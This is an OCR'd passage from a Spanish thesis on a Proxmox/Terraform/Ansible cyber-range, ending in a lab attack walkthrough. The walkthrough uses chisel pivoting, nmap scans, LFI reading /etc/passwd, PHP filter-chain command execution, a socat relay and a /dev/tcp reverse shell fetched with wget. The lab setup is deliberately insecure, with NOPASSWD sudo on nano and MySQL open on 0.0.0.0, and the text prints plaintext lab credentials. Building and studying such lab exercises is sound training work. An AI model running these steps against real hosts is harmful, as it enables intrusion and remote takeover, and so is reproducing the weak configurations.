de hash MD5 "{{ ’'passwd1234’ | password hash ( 'md5’) }}" y que emplee /bin/bash como principal

interprete de comandos con el pardametro shell.

Se utiliza el médulo [sysctl] para modificar los pardmetros del kernel en tiempo de ejecucién. El
parametro net.ipv4.ip_ forward se establece en 1, habilitando el reenvio de IPs. Esto es crucial para
permitir que el sistema funcione como un router, reenviando paquetes entre interfaces de red. El parametro

reload se configura en yes para asegurar que los cambios se apliquen de inmediato.

Para hacer este cambio persistente, se emplea el médulo [lineinfile], que asegura que la configuracién
persista a través de los reinicios del sistema. Este médulo edita el archivo /etc/sysctl.conf, anadiendo o
reemplazando la linea net.ipv4.ip_ forward = 1. Esto garantiza que el reenvio de IP se habilite automé-

ticamente cada vez que el sistema arranque.

A continuacién, se instala el paquete iptables-persistent utilizando el médulo [apt]. Este paquete es
esencial para guardar y restaurar automaticamente las reglas de iptables en cada reinicio. Con el médulo
[iptables], se afiade una regla en la tabla filter para permitir jump ACCEPT el tréfico entrante chain
INPUT en el puerto destino destination_ port 22 y en la tabla nat para realizar el enmascaramiento
NAT en la interfaz de salida eth0, lo que permite que el trafico saliente tenga la direccién IP del router,
facilitando la comunicacién en redes privadas. Finalmente, se guarda la configuracion actual de iptables

en /etc/iptables/rules.v/ mediante un médulo [shell], asegurando la persistencia de las reglas.
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2.6.3. LXC-ub-in-1

Playbook enfocado en la configuracién de un servidor web PHP con Apache. Primero, instalan servicios

esenciales con el médulo [apt] como apache2, php, iptables-persistent y git.

El repositorio de GitHub se clona en el directorio destino dest /srv/files mediante el médulo [git],
lo que permite acceder a los archivos necesarios para la configuracién del servidor web Para evitar
error name resolution: github.com se procede a reintentar la tarea retries un maximo de 5 intentos, con
una espera entre intentos delay de 3 segundos, donde con la variable de estado register git_result hara
los intentos necesarios hasta cumplir la condicion until git result is succeeded. Se crean varios usuarios
(Carlos Lopez, Maria Santos, y Javier Gomez) utilizando el médulo [user], con contrasenas especificas, las
cuales se hashean con MD5 para el correcto funcionamiento del parametro "{{ ’passwd’ | password__hash
( 'md5’) }}" junto a la shell de /bin/bash como principal intérprete de comandos y, en el caso de Javier
Gomez, con permisos sudo adicionales y acceso sin contrasena a nano gracias al médulo [lineinfile],
donde se agrega la linea ’jgomez ALL=(ALL:ALL) NOPASSWD:/usr/bin/nano’ con el parametro line.

Se procede a una configuracién de las reglas del firewall con el médulo [iptables] para permitir jump
ACCEPT el trafico entrante chain INPUT en los puertos destino destination_ port 80 y 22, asegu-
rando el acceso web y SSH al sistema. Estas reglas se guardan en /etc/iptables/rules.vj para garantizar

que persistan a través de reinicios mediante el médulo [shell].

Los archivos necesarios para el sitio web se copian desde /srv/files/Auziliar/web a /var/www/html
utilizando el médulo [copy], asegurando que estén en el lugar correcto con los permisos adecuados para
ser empleados por Apache. Se asegura que el directorio /var/www/ y los ficheros /var/www/html sean
propiedad del usuario y grupo www-data utilizando el médulo [file], garantizando que el servidor web
tenga los permisos adecuados, asignando 0755 y 0644 respectivamente. Finalmente, eliminamos el fichero
index.html con el modulo [ansible.builtin.file] asignando el valor absent del pardmetro state para que

el index principal sea el creado con php.

2.6.4. LXC-ub-in-2

Playbook orientado a la instalacién y configuraciéon de un servidor MySQL. Primero se instalan pa-

quetes esenciales como git, python3-pip, iptables-persistent y mysql-server gracias al médulo [apt].

Se clona el repositorio GitHub, para obtener los ficheros de poblacion y usuarios de la
base de datos, en el directorio destino dest /srv/files utilizando el médulo [git]. Para evitar error name
resolution: github.com se procede a reintentar la tarea retries un maximo de 5 intentos, con una espera
entre intentos delay de 8 segundos, donde con la variable de estado register git result hara los intentos
necesarios hasta cumplir la condicién until git result is succeeded. Se instala el modulo PyMySQL por
medio de [pip] para permitir la interaccién con MySQL desde scripts Python. Se configura el intérprete

de Python para Ansible ansible__python__interpreter a /usr/bin/python3 con el médulo [set__fact].

Se continua a una configuracién de las reglas del firewall con el médulo [iptables] para permitir
jump ACCEPT el trafico entrante chain INPUT en los puertos destino destination_ port 3306 y
22, asegurando el acceso MySQL y SSH al sistema. Las reglas se guardan en /etc/iptables/rules.v para

garantizar que persistan a través de reinicios mediante el médulo [shell].
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Modificamos el archivo de configuracion de MySQL mysgld.cnf para permitir conexiones remotas,
cambiando la direccién de enlace bind-address a 0.0.0.0 con el médulo [ansible.builtin.lineinfile], donde
la linea a cambiar es buscada mediante regexp ‘bind-address’. El servicio MySQL se reinicia para aplicar
los cambios con el médulo [service] y el parametro de estado state restarted. Se asegura que el archivo
de configuracién de MySQL no exista en el contenedor con el médulo ansible.builtin.file declarando el
estado absent, verificado esto, se crea de nuevo el fichero y el usuario root dentro del fichero /root/.my.cnf
debe contener las credenciales necesarias para la gestién del servidor MySQL gracias al médulo lineinfile.
Finalmente, con el médulo mysql__db y con los credenciales de login__user root, login_ password
rootAdminPasswd junto a la conexién por socket login__unix__socket /run/mysql/mysqd.sock se crea
obligatoriamente una base de datos intranet y se puebla utilizando el pardmetro state asignando el valor

import, importando asi archivos SQL especificos para estructurar la base de datos y agregar usuarios.
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3. Despliegue

Para iniciar el despliegue de la infraestructura, es fundamental utilizar la herramienta Jenkins. Esta
herramienta actia como un centro de sincronizacién para las herramientas de despliegue y configuracion,

facilitando la gestién y monitorizacién del proceso de despliegue.

1. Comienzo en el pipeline del despliegue

El primer paso para comenzar el despliegue es acceder a Jenkins y localizar el pipeline correspon-
diente al despliegue de infraestructura. Para iniciar el proceso, se debe navegar a la seccién de

"pipelines” dentro de Jenkins y seleccionar el pipeline de despliegue.

‘?_ ]enkins Q [@ 0 ® (U@ (@ FernandoSanJose v [3» Desconectar

Panel de Control TFG_Folder Deploy_enviroment

B status () Deploy_enviroment

<>

/> changes Full project name: TFG/Deploy_enviroment

[> Build with Parameters £ afiadir descripcion
@ Configurar Desactivar el Proyecto

Figura 4.2: Acceso pipeline despliegue
2. Parametrizacion la ejecucion con apply

Una vez dentro del pipeline, es necesario parametrizar la ejecucién. Para el despliegue, uno de los
parametros clave es la accién apply. Este parametro indica que el pipeline debe proceder con la
aplicacién de los cambios y la creaciéon de los recursos definidos en los scripts de infraestructura
Terraform, permitiendo la ejecucion de los playbooks Ansible, seguido del médulo que se quiera
desplegar, el nombre del archivo y en que directorio se quieren almacenar los ficheros que Ansible

empleard dentro del nodo para configurar la infraestructura.

Pipeline Deploy_enviroment NameToTransfer

Mame of the folder that wil be transfer to node as TAR

Esta ejecucion requiere parametros adicionales:

files
Action
Action to perfom with terraform
apply
NameOfTargetFolder
Mame of the folder in ansible Node
Exercise

Exercises to deploy with Terraform AnsibleFilesTFG

module-1

(a) Parametrizacion accién y ejercicio (b) Parametrizacién archivo y carpeta

Figura 4.3: Parametrizacion del pipeline
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4. Planificacién de ejercicios

3. Monitorizacion de las fases del despliegue

Después de iniciar la ejecucién del pipeline con el parametro apply, es crucial monitorizar cada fase
del despliegue. Jenkins proporciona una interfaz de usuario intuitiva donde poder ver el progreso
de cada etapa en tiempo real. Durante esta fase, se deben observar los Logs y la salida de la consola
para verificar que todos los pasos se estan ejecutando correctamente. Si ocurre algin error, Jenkins

lo reportara en la interfaz, permitiéndote tomar acciones correctivas de inmediato.

Stage View
SSH file
Clone Terraform Ansible Compressing transfer Declarative:
Git's Ter.rarorm code code In:raef:-ru:lfure Apply / Ansible to El):e:utek Post
repository init validation validation CEL=EED Destroy Folder Ansible Eiaviec Actions
Node
Average stage times: 4s 1s 863ms 1s 1s 11min 24s 225ms 480ms 4min 18s 233ms
(Average full run time: ~7min ’ ‘ i ‘ ! ‘ =
s 18s)
Jun 30 Ss 717ms 722ms 969ms 1s 13min 54s 464ms 1s 6min 44s 197ms
00:35
Figura 4.4: Monitorizacién fases despliegue
Apply complete! Resources: 4 added, @ changed, @ destroyed.
Figura 4.5: Finalizacién Terraform log
PLAY RECAP ok dookok oo sk oo ook ok oo o oo oo e s ok oo ook s ok oo ok oo o s oo bbb oo ook
LXC-ub-in-1 : ok=14 changed=13 unreachable=0 failed=0 skipped=06 rescued=0 ignored=0
LXC-ub-in-2 : ok=15 changed=12 unreachable=0 failed=0 skipped=06 rescued=0 ignored=0
LXC-ub-ro-1 : ok=8 changed=7 unreachable=0 failed=0 skipped=06 rescued=0 ignored=0
QEMU-Kali-1 . ok=2 changed=1 unreachable=8 failed=0 skipped=08 rescued=0 ignored=0

Figura 4.6: Finalizacién Ansible playbooks log

4. verificacién del éxito del despliegue

Una vez que todas las fases del despliegue han sido completadas satisfactoriamente, se procede a la
finalizacién del proceso. Esto implica verificar que todos los recursos han sido creados correctamente
y que la infraestructura esta operativa. Confirmar que no hay errores en los logs finales y que todos

los componentes de la infraestructura estan creados y configurados correctamente.

X PROX MO X vitual Environment 8.2.2 Suscar

Vista por servidor % | Maquina virtual 200 (QEMU-kali-1) en el nodo tfg2010 e
= Centro de datos = = - -
E& 152010 & Resumen E 3 Edita Regenerar imagen
& 100 (LXC-ub-ro-1) >— Consola & Usuario kali
& 300 (LXC-ub-in-1) I Hardware & Contrasefia
- 301 (LXC-ubrin-2) & Cloud-Init @ Dominio DNS 10.0.0.250
Crd- 200 (QEMU-kai-1) @ Servidores DNS 10.0.0.250
[ 1000 (template-kali) £ Opciones Srvidores R
G, Clave pablica SSH root@tfg2010
localnetwork (tfg2010) Historial de tareas P ansi(}?‘,eg@ﬁgzg‘]c
=i local (tfg2010)
= @ Monitor M Actualizar paquetes Si
Respaldo = Configuracion IP (net0) gw=192.168.1.1.ip=192.168.1.101/24
&3 Replicacion = Configuracicn IP (net1) gw=192 168 2.100,ip=192 168.2.101/24

Figura 4.7: Despliegue correcto

50



4. Planificacién de ejercicios

4. Finalizacion

Para finalizar un despliegue, se sigue un proceso similar al del despliegue inicial, nuevamente utilizando

Jenkins como herramienta principal.

1. Comienzo en el pipeline del despliegue

Al igual que en el despliegue inicial, se comienza accediendo a Jenkins y seleccionando el pipeline
correspondiente, tal y como se mencioné en el primer paso del despliegue Es el mismo pipeline

que se utilizé para el despliegue, pero esta vez se configurard para finalizar el ejercicio.

2. Parametrizar la ejecuciéon con destroy

Para finalizar el despliegue, es necesario parametrizar la ejecucién del pipeline con el parametro
destroy y seleccionar el ejercicio a finalizar. Este pardametro indica que el pipeline debe proceder

con la destruccién de los recursos que fueron creados y establecidos en el plan de Terraform.
Pipeline Deploy_enviroment

Esta ejecucion requiere parametros adicionales:

Action

Action to perfom with terraform

destroy

Exercise

Exercises to deploy with Terraform

module-1

Figura 4.8: Parametrizacién despliegue Destruccion

3. Monitorizacion de las fases de la finalizacion

Al igual que en el despliegue [£.4] es crucial monitorizar cada fase del proceso de finalizacion.
Jenkins proporcionard informacién en tiempo real sobre el progreso de cada paso. Durante esta
fase, hay que asegurarse de que todos los recursos estan siendo destruidos correctamente y que no
quedan componentes no deseados. Cualquier error o problema sera reportado en los logs de Jenkins,

permitiéndote intervenir si es necesario.

Stage View

SSH file

cl T f Ansibl C i < Fi Declarative:
.or‘le Terraform errarorm nsivie Infraestructure Apply / umpr.esslng ranster Execute eciarative:
Git's init code code \annificati Dest. Ansible to Playbook Post
repository ini validation validation plannification estroy folder Ansible ayboo Actions

Node

Average stage times: 4s 1s 952ms 1s 1s 9min 50s 225ms 480ms 4min 33s 276ms
(Average Full run time: ~5min —
40s)

jun 30 984ms 25 1s 1s 395ms 30s 4
15:44

Figura 4.9: Monitorizacion fases destruccion
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4. Planificacién de ejercicios

Destroy complete! Resources: 4 destroyed.

Figura 4.10: Finalizacién Terraform log

4. verificacion del éxito de la destruccion

Una vez que todas las fases de la destruccion han sido completadas satisfactoriamente, se procede

a la finalizacion del proceso. Esto implica verificar que todos los recursos han sido destruidos

correctamente.

X PRO MO X virtual Environment 822 Buscar

Vista por servidor o Nodo 'tig2010
= Centro de datos
B tg2010 Q, Buscar
[T 1000 {template-kali) & Resumen
222 localnetwork (tfg2010) [ Motas
]
= [ local (1fg2010) . Console

&% Sistema

Figura 4.11: Destruccién correcta
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Capitulo 5
Simulacién de ejercicios

En este capitulo se abordara la simulacién de un ejercicios de ciberseguridad, utilizando la infraes-
tructura desplegada y configurada en los capitulos anteriores. Se detallarda cémo se ejecutara el ejercicio
previamente configurado, proporcionando un entorno controlado para probar y evaluar el escenario de

ciberseguridad.

1. Conexion

Para poder conectarse a un ejercicio desplegado en la plataforma Proxmox como atacante desde la
maquina Kali Linux, actualmente la tnica via para hacerlo es graficamente desde el entorno Proxmox

mediante la pestafia de Consola.

Al iniciar nos pedira las credenciales que se configuraron en el despliegue previamente, siendo en el

caso de la maquina atacante usuario kali y contrasena RootlRootl1.

X PROXMO X vinua envionmenta 2 2 6ecar B Documentacién
Vista por servidor # Maguina virtual 200 (QEMU-kali-1) en el nodo tf2010 nguna efiqueta & niciar & Apagar 5_ Consola Mas © Ayuda
Eﬁfe;‘;ﬂd‘;dams S — 1 = us f 23Jun, 1628 &
& 100 (LXC-ub-ro-1) >_ Consola
& 301 (XCoub-in-1) 2 Hardware
302 (LXC-ub-in-2
3200 :QEMUrka\H)) O @
[ 1000 (template-kali) # Opciones
222 localnatwork (fg2010) B Historial de tareas
Zi]local (tig2010) ® Monitar
Respaldo
£ Replicacién
D Snapshots

U Cortafuego

o Permisos

Figura 5.1: Conexién maquina atacante
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5. Simulacién de ejercicios

2. Realizacion

2.1. Mobdulo 1

El ejercicio propuesto para esta simulacién de la plataforma de despliegue estd enfocado en un ataque
hacia una red empresarial interna, a la cual no se tiene acceso directamente, pero si a una maquina

intermedia que serd punto de acceso a la red. Para lograr este ataque se realizaran una serie de pasos.

1. Conexion maquina intermedia

Comenzamos el ejercicio ganando acceso a la maquina intermedia LXC-ub-ro-1, la cual tiene cone-
xién con nuestra red objetivo final, mediante protocolo SSH junto a las credenciales dadas usuario

ADMusuario y contrasena passwdi23/.

| ssh ADMusuario@192.168.2.100

L ADMusu
ADMusuario@l92. ' word:
e to Ubuntu 2 U/Linux 6.5.13

entation: https: 1lp.ubuntu.com
(58

rams included with the Ubuntu sy
dist ution t r each pro

idual files in fusr/share c/*/copyright.

with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root”

ADMusuariogLXC-ub-ro-1:~% I

Figura 5.2: Conexién maquina intermedia
2. Preparacion pivotaje
Una vez conectados a la maquina intermedia, es hora de planificar el ataque a llevar a cabo para

lograr conexién con una red que no es accesible, para ello, existe una técnica demoniomania Pivotaje,

permitiendo acceder a redes inalcanzables de los hosts intermedios conectados entre si.

[ Conexion J

QEMU-kali-1 { LXC-ub-ro-1 \ Objetivo
ubuntu ubuntu
\ SSH
[ Conexion J

Figura 5.3: Esquema pivotaje
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5. Simulacién de ejercicios

El objetivo principal es tomar el control de la maquina victima en la red que no es alcanzable
haciendo uso de una Shell reversa, pero para lograrlo con pivotaje, es necesario previamente re-
direccionar los puertos por medio de un tunel proxy SOCKS, para asi tener accesibilidad a los
servicios del objetivo, y obtener conexién bidireccional, para que seamos visibles para el objetivo,

entre la maquina victima y nuestra maquina QFEMU-kali-1.

Para lograr el primer objetivo, haremos uso de la herramienta chisel, pudiendo ser obtenida desde

GitHub [22].

Teniendo esta herramienta en el sistema, la descomprimimos en una carpeta en el escritorio y
otorgamos permisos de ejecucién, ya que la herramienta se trata de un script.

gunzip chisel_1.9.1_darwin_amd64.gz

sudo mkdir /home/kali/Desktop/chisel

sudo mv chisel_1.9.1_darwin_amd64 /home/kali/Desktop/chisel/chisel
sudo chmod +x /home/kali/Desktop/chisel/chisel

Una vez en la maquina QEMU-kali-1, tenemos que transferirla en la maquina LXC-ub-ro-1, para
poder hacer uso correctamente de la herramienta, para ello generamos un servidor local HT'TP con
Python en la maquina QFEMU-kali-1.

sudo python3 -m http.server 80

J-[~/Desktop/chisel]
-m http.server B0
ring HTTP on 8.8.0.0 port 80 (http://9.0.0.0:80/)

Figura 5.4: Python server kali chisel

De esta manera, desde la conexion SSH de la maquina LXC-ub-ro-1, podemos obtener la herramienta

lista para usar empleando wget y se otorgan los permisos de ejecucion.

wget 192.168.2.101/chisel

sudo chmod +x

Podemos confirmar que se ha descargado correctamente observando la retroalimentacion del servidor
Python levantado previamente.

}—:~/Desktup/chise1:
http.server
ng HTTP on @. D 0.0 DOIT.

200 -

Figura 5.5: Confiramcién descarga chisel
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5. Simulacién de ejercicios

Teniendo todo descargado y configurado, procedemos a levantar el servidor con chisel. Basicamente
esta herramienta actuara como servidor de la redirecciéon en la maquina QEMU-kali-1 permitiendo

conexiones inversas con —reverse, escuchando las conexiones entrantes a través del puerto 10.

1 ./chisel server --reverse -p 10

Como cliente creando un tunel en la maquina intermedia LXC-ub-ro-1 con la maquina QEM U-kali-
1 en el puerto de escucha 10, exponiendo los servicios de la red objetivo creando un proxy SOCKS

en la maquina atacante con -R:socks.

1 ./chisel client 192.168.2.101:10 R:socks

Teniendo levantado el servidor y cliente, tendriamos que ser capaces de poder visualizar la red
objetivo, pero no es posible aun, debido a que lo que se ha creado en el servidor con chisel es un

tunel el cual se conecta a la red mediante un proxy creado por el cliente.

[~/Desktop/chisel]

/06/21

Figura 5.6: Server chisel

Para configurar el ttnel proxy de la maquina QEMU-kali-1, tenemos que configurar la herramienta
Prozychains4, que permite redirigir el trafico de red de aplicaciones a través de uno o mas proxies,
como SOCKS4, SOCKS5 y HTTP, agregando en el fichero /etc/proxychainsj.conf, en el apartado
[ProzyList], el tinel proxy de chisel.

1 socksb 127.0.0.1 1080

[ProxyList]

sockss 127.0.8.1 1888

Figura 5.7: Fichero proxychains4
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5. Simulacién de ejercicios

3. Reconocimiento de la red

Con el tiinel configurado, procedemos a realizar un escaneo de la red a pivotar, para ello, primero

debemos identificar la direccién de red objetivo desde la maquina LXC-ub-ro-1.

qdisc noque e UNKNOWN group default glen 1000
00 brd 00:00:00:00
lo

© nogueue state UP group default glen 1000

500 qdisc nogueue state UP group default glen 1800
f:ff:ff link-netnsid @

'l
.100/24 brd 192.

Figura 5.8: Red objetivo

Desde este momento, cualquier interaccion a realizar con la red objetivo 192.168.3.0/24, es necesario

emplear proxychains para actuar bajo el tunel proxy.

Sabiendo la direccién de la red objetivo, es hora de descubrir que hosts existen en la red 192.168.3.0/24

empleando netdiscover.

1 sudo proxychains4 netdiscover -r 192.168.3.0/24

Currently scanning: Finished! Screen View: Unigue Hosts
red ARP Req/Rep packets, from 7 hosts.
At MAC

Unknown vendor

Unknown vendor
Unknown ndor
Unknown ndor
Unknown ndor
Unknown ndor
Unknown vendor

Figura 5.9: IPs red objetivo

Con las IPs en nuestro poder, procedemos a buscar que puertos estan abiertos y que servicios corren
en cada una de las maquinas de la red. Para ello, emplearemos la herramienta nmap en busca de

los puertos méas comunes que pueden existir.

Para hacer uso de la herramienta, se debe aplicar permisos sudo. Los pardmetros son: -p <puerto>,
que especifica la lista de puertos a reconocer; —min-rate 5000, que establece la tasa minima de envio
de paquetes a 5000 paquetes por segundo; -sT, que especifica un escaneo TCP; -sV, que intenta
determinar las versiones de los servicios en ejecucién; -v, que habilita la salida detallada; y -Pn, que

desactiva el ping previo al escaneo, tratando todos los hosts como activos.
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5. Simulacién de ejercicios

Para la maquina con la IP 7192.168.3.101 el comando a usar es:

1 sudo proxychains4 nmap
995, 3389, 3306,

STATE SERVICE
closed ftp
open ssh
closed telnet
closed smtp
closed domain
http
gop3
imap
https
smtps

ope
closed

osed
closed
closed

submission

imaps
pop

s from:

5432,

-p 21, 22,

5900,

23,
8080

25 53, 80, 110,
--min-rate 5000

143,
-sT

443,
-sV

465, 587, 993,

-v -Pn 192.168.3.101

Jusr/bin/ .. /s
ection performed. Ple
1 IP address (1 host up)

map.org/submit/ .

Figura 5.10: nmap 192.168.3.101

Podemos observar que la maquina es un Ubuntu que posee los puertos 22 y 80 abiertos con los

servicios OpenSSH y Apache 2.4.52 respectivamente, es decir, la maquina tiene levantado un servidor

Web para la red interna. Esta maquina es el objetivo principal del ejercicio para escalar privilegios.

Para la méquina con la IP 192.168.3.102 el comando a usar es:

1 sudo proxychains4 nmap
995, 3389, 3306,

SERVICE
ftp

ssh
telnet
smtp
domain
http
pop3
imap
https
smtps
submission
i-e

from:
ction p
1 IP addre

-p 21,
5432,

22,
5900,

23,
8080

25 53, 80, 110,
--min-rate 5000

143,
-sT

443,
-sV

465, 587, 993,

-v -Pn 192.168.3.102

VERSION

OpenSSH 8.9pl Ubuntu 3ubuntu®.7 (Ubuntu Linux; protocol 2.0)

I ocpe:/fo:linu

/usr/bin/ .. /sh

t results at https://nmap.org/submit/ .
econds

Figura 5.11: nmap 192.168.3.102

Observamos que la maquina es un Ubuntu que posee los puertos 22 y 3306 abiertos con los servicios

OpenSSH y MySQL 8.0.37 respectivamente, queriendo decir que la red posee una base de datos a

la que poder atacar.
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El estado actual del ataque se puede ver en la imagen donde se han descubierto los dos hosts
que componen la red objetivo y sus servicios, todo ello gracias al ttnel proxy creado con chisel en

el cliente y redirigido al servidor, desde el cual se emplea proxychains4 para llegar a la red. El flujo

de toma de control de las maquinas, se ha representado con lineas discontinuas: La primera expresa

vision, la segunda acceso interno y la tercera un acceso completo de la maquina.

proxychainstd [socks5 127.0.0.1 1080]

Conexion

Conexion

(

Conexion

-
KALI| N

-root
—kali

CHISEL Server

[ QEMU-kali-1

eth® 192.168.2.101

gw: 192.168.2.1680

ethl 192.168.2.1880

gw: 192.168.1.1

Redirige

1
[rLXC—ub—ro—i\\

®

ubuntu
SSH
22 TCP

-root
—ADMrouter

N

102.168.3.161

®

ubuntu

eth2 192.168.3.160

gw: 192.168.1.1

-root

CHISEL Client
R:socks

by

Obtiene

~ 192.168.3.102

Obtiene

Figura 5.12: Estado ataque con chisel
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5. Simulacion de ejercicios

4. Ataque LFI

Continuamos con el ataque, para ello, procedemos acceder a la pagina web de la red objetivo desde
el navegador web.

9 @ Problem loadingpage <+

@ https://192.168.3.101

-3 Impert bookmarks... Kali Linux #& Kali Tools

s & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB Offsec

Unable t nect

An error occurred during a connection to 192.168.3.101.

Figura 5.13: Web inaccesible

Se observa que no es accesible, esto es debido a que tenemos que configurar el proxy manualmente
desde el navegador para acceder desde este. Para configurar el proxy del navegador es necesario ir
a la configuracién ”proxy” del navegador e insertar la configuracién:

1 SOCKS5 Host 127.0.0.1 Port 1080
> [activar] SOCKS v5

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
@Man ual proxy configuration
HTTP Proxy
Also use this proxy for HTTPS

HTTPS Proxy

1080
SOCKSv4 © SO

Automatic proxy configuration URL

No proxy for

Figura 5.14: Proxy navegador web
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5. Simulacion de ejercicios

Al recargar la pagina, se observa que tenemos acceso completo a la web.

) Intranet Securelylnsecure X+
< 7 Q @& 192168.3.10

-8 Import bookmarks... Kali Linux & Kali Kali Docs ¥ KaliForums N Kali NetHunter Exploit-DB Google Hacking DB OffSec

Intranet de Securelylnsecure Inc.

Inicio Departamentos Noticias

Bienvenido a la Intranet de Securelylnsecure Inc.

Estaesla interna para los de Securelylnsecure Inc. Aqui podras encontrar informacion importante, recursos y herramientas para facilitar tu trabajo

diario.

Ultimas Noticias

Figura 5.15: Acceso web

Navegando por la web, se puede identificar un posible punto de intrusién debido a una vulnerabilidad
de LFT (Local File Inclusion) en la URL. Especificamente, la estructura indez.php?page=home.php
sugiere que el parametro page es manipulable, lo que podria permitir a un atacante incluir archivos

locales en el servidor.

La vulnerabilidad de LFI ocurre cuando la entrada del usuario no esta debidamente saneada, lo que
permite a un atacante manipular la ruta del archivo utilizando secuencias como ../ para retroceder
en el arbol de directorios y acceder a archivos criticos del sistema. Para verificar este hecho, se
modifica la URL a index.php?page=../../.. /etc/passwd y observamos que se nos ha mostrado el

contenido del fichero passwd, queriendo decir que esta web es vulnerable a este tipo de ataques

O 81 01/index.php?p:

-3 Import bookmarks... Kali Linux § Kali Tools Gali Docs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Intranet de Securelylnsecure Inc.

Inicio Departamentos Noticias

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/shin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin Ip:x:7:7:p:/var/spool/lpd:fusr/sbin/nologin mail:x:8:8:mail:/var
Imail:fusr/sbin/nolagin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usrishin/nologin proxy:x:13:13:proxy:/bin:fusr/sbin/nolagin www-
data:x:33:33:www-data: fvariwww:/usrisbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nolagin list:x:38:38:Mailing List Manager:/var/list:/usrishin/nologin
irc:x:39:39:ircd:/run/ircd:fusr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:fusr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:
lusr/shin/nologin messagebus:x:100:102::/nonexistent:/usr/shin/nologin syslog:x:101:103::/home/syslog:/usr/shin/nologin postfix:x:102:109::/var/spool/postfix:/usr/shin/nolagin
_apt:x:103:65534::/nonexistent:/usrishin/nologin sshd:x:104:65534::/run/sshd:fusr/shin/nologin systemd-network:x:105:113:systemd Network Management,,,:/run/systemd:
lusr/shin/nologin systemd-resolve:x:106:114:systemd Resolver,,,:/rur fusr/sbin/nologin temd-ti ync:x:107:115:systemd Time Synchronization,,,:/run/systemd:
lusr/shin/nologin uuidd:x:108:116::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:117::/nonexistent:/usr/shin/nologin clopez:x:1000:1000::/home/clopez:/bin/bash
msantos:x:1001:1001::/home/msantos:/bin/bash jgomez:x:1002:1002::/home/jgomez:/bin/bash

Figura 5.16: LFI passwd

Esta vulnerabilidad puede ser explotada para obtener una shell reversa, empleando cadenas PHP
que inyecten comandos en el servidor. Para lograr este hecho, se hara uso del script php__chain__generator.py,
obtenido desde el repositorio GitHub . Este script permite crear una cadena de cédigo PHP que,
cuando se incluye a través de la vulnerabilidad LFI, ejecuta el comando en el servidor. Los coman-
dos a ejecutar no deben ser extensos, ya que la cadena excederia la longitud méxima que la URL
permite procesar y daria lugar a un error, por lo tanto es necesario emplear comandos escuetos o

camuflados.

61



5. Simulacion de ejercicios

Procedemos a probar si el script funciona correctamente intentando listar el directorio que se en-

cuentra la web, insertando en la URL el texto generado por el script.

1 sudo python3 php_filter_chain_generator.py --chain "<?php system('ls -1'); 7>"

QO & 192.168.3.101/index.php?pag p://filter/convert.iconv.UT Rlconvi -encodc 13

-3 Import bookmarks... Kali Linux § Kali Tools « Kali Docs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Intranet de Securelylnsecure Inc.

Inicio Departamentos Noticias

total 40 -rwxr-xr-x 1 www-data www-data 2055 Jun 20 13:14 departamentos.php -rwxr-xr-x 1 www-data www-data 928 Jun 20 13:14 empleados_Ciber.php -nwxr-xr-x 1 www-
data www-data 898 Jun 20 13:14 empleados_IT.php -rwxr-xr-x 1 www-data www-data 477 Jun 20 13:14 empleados_RRHH.php -rwxr-xr-x 1 www-data www-data 131 Jun 20
13:14 footer.php -rwxr-xr-x 1 www-data www-data 633 Jun 20 13:14 header.php -nwxr-xr-x 1 www-data www-data 1693 Jun 20 13:14 home.php -maxr-xr-x 1 www-data www-
data 178 Jun 20 13:14 index.php -nwxr-xr-x 1 www-data www-data 1010 Jun 20 13:14 noticias.php -rwxr-xr-x 1 www-data www-data 1552 Jun 20 13:14 styles.css

GBIV OO>-—0ACOOVO0O>--0ACOV0V0I—0OCHVOV0>—0ACHOVOVO>-—-0ACHOOV0I>—0ACHVOV0>—0aCHE
VOVO-—0CO00000>—-00

Figura 5.17: Listado ficheros web

De este modo se descubre que todos los ficheros que posee son .php y las cadenas generadas fun-
cionan, dando luz verde a la generacion de la shell remota. Para proseguir es necesario que seamos
visibles para esta maquina, por ello entra en juego socat para generar la conexién bidireccional,
empleando a la méquina LXC-ub-ro-1 como intermediario que obtendra las conexiones y redirigird
la comunicacién a través de un puerto que estara escuchando la maquina LXC-kali-1. Dentro de la
maquina LXC-ub-ro-1 iniciaremos el servidor socat que previamente hemos transferido tal y como

se hizo con chisel, pudiendo ser descargado desde GitHub .

El servidor socat escucha en el puerto 1000 de la maquina local las conexiones TPC entrantes me-
diante tcp-1, permitiendo miltiples conexiones simultaneas gracias a fork y reutilizando la direccion
tras finalizar la conexién con reuseaddr. Cada vez que recibe una conexién entrante, la redirige al
puerto 10 de la direcciéon 1P 192.168.2.101, es decir, a la maquina QEMU-kali-1, actuando como
un proxy que transmite datos entre las conexiones entrantes en el puerto 1000 local y el puerto 10
en 192.168.2.101.

1 sudo ./socat tcp-1:1000,fork,reuseaddr tcp:192.168.2.101:100

En este punto ya tenemos una supuesta conexion bidireccional y podemos seguir con el ataque. Para
lograr la shell de manera correcta, debemos esconder el comando dentro de un fichero index.html
para ejecutarlo posteriormente con una bash. Desde una sesién SSH con la maquina LXC-ub-ro-1
creamos el fichero index.html y en el interior insertamos la shell reversa, conteniendo una conexiéon
TCP con la maquina LXC-ub-ro-1, con la IP 192.168.3.100, en el puerto 1000 que socat esta
escuchando.

1 touch index.html && echo "bash -i >& /dev/tcp/192.168.3.100/1000 0>&1" > index.
html

Para poder hacer que el servidor descargue el fichero en su sistema, tenemos que levantar un servidor
Python dentro de LXC-ub-ro-1 y posteriormente generar la cadena para la descarga en el servidor

con wget.

I sudo python3 php_filter_chain_generator.py --chain "<7php system('wget
192.168.3.100"'); 7>"
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5. Simulacién de ejercicios

